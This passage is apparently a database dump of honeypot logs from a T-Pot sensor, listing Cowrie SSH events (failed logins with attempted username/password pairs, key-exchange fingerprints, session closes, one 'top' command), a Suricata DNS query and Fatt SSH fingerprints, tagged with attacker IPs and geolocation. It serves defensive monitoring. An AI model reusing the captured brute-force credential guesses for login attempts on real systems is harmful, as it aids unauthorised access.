"voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26883	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:04.951313+03	2021-09-20 14:15:13.852647+03	{"_id": "mwboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a46fe3b1399e", "@version": "1", "timestamp": "2021-09-20T11:13:04.951313Z", "@timestamp": "2021-09-20T11:13:04.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26884	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:05.305516+03	2021-09-20 14:15:13.854647+03	{"_id": "nAboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "128.199.123.0", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.35799646377563477, "duplicate": true, "timestamp": "2021-09-20T11:13:05.305516Z", "@timestamp": "2021-09-20T11:13:05.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
26885	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:05.3946+03	2021-09-20 14:15:13.855645+03	{"_id": "nQboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [dc5151/dc5151Minot] failed", "session": "1a9b04075f74", "@version": "1", "password": "dc5151Minot", "username": "dc5151", "timestamp": "2021-09-20T11:13:05.394600Z", "@timestamp": "2021-09-20T11:13:05.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26886	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:05.395509+03	2021-09-20 14:15:13.856645+03	{"_id": "ngboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f1a4afaad69d", "@version": "1", "duration": 2.8413889408111572, "timestamp": "2021-09-20T11:13:05.395509Z", "@timestamp": "2021-09-20T11:13:05.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26905	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:22.78326+03	2021-09-20 14:15:13.879645+03	{"_id": "qQbpAnwBvYTbRNuEGyQz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "df9e740fbef6", "@version": "1", "duration": 3.386063814163208, "timestamp": "2021-09-20T11:13:22.783260Z", "@timestamp": "2021-09-20T11:13:22.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26888	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:05.55751+03	2021-09-20 14:15:13.858646+03	{"_id": "oAboAnwBvYTbRNuE1CPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:05.557510Z", "@timestamp": "2021-09-20T11:13:05.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26889	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:13:06.126804+03	2021-09-20 14:15:13.859646+03	{"_id": "ogboAnwBvYTbRNuE1iPf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 64551, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 237466271543124, "@version": "1", "in_iface": "enp5s0", "src_port": 39781, "dest_port": 53, "timestamp": "2021-09-20T11:13:06.126804Z", "@timestamp": "2021-09-20T11:13:06.126Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
26890	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:00.703168+03	2021-09-20 14:15:13.861647+03	{"_id": "NgboAnwBvYTbRNuExSMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a9f8234b6960", "@version": "1", "duration": 2.961869716644287, "timestamp": "2021-09-20T11:13:00.703168Z", "@timestamp": "2021-09-20T11:13:00.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26891	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:01.127636+03	2021-09-20 14:15:13.862646+03	{"_id": "NwboAnwBvYTbRNuExSMp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:01.127636Z", "@timestamp": "2021-09-20T11:13:01.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26892	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:13:00.645036+03	2021-09-20 14:15:13.863645+03	{"_id": "OwboAnwBvYTbRNuExSMz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "40546dfad073", "@version": "1", "duration": 2.109034776687622, "timestamp": "2021-09-20T11:13:00.645036Z", "@timestamp": "2021-09-20T11:13:00.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26893	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:01.741099+03	2021-09-20 14:15:13.864646+03	{"_id": "RwboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:01.741099Z", "@timestamp": "2021-09-20T11:13:01.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26894	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:02.373229+03	2021-09-20 14:15:13.866647+03	{"_id": "QwboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:02.373229Z", "@timestamp": "2021-09-20T11:13:02.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26895	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:13:02.399233+03	2021-09-20 14:15:13.867646+03	{"_id": "SQboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "4d858f8e8cda", "@version": "1", "duration": 5.650733709335327, "timestamp": "2021-09-20T11:13:02.399233Z", "@timestamp": "2021-09-20T11:13:02.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26896	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:03.982349+03	2021-09-20 14:15:13.868646+03	{"_id": "bQboAnwBvYTbRNuE0CM5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38604, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.982349", "@timestamp": "2021-09-20T11:13:03.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26897	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:21.953446+03	2021-09-20 14:15:13.869646+03	{"_id": "hQbpAnwBvYTbRNuEFyRI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cc707ee1aa9b", "@version": "1", "timestamp": "2021-09-20T11:13:21.953446Z", "@timestamp": "2021-09-20T11:13:21.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
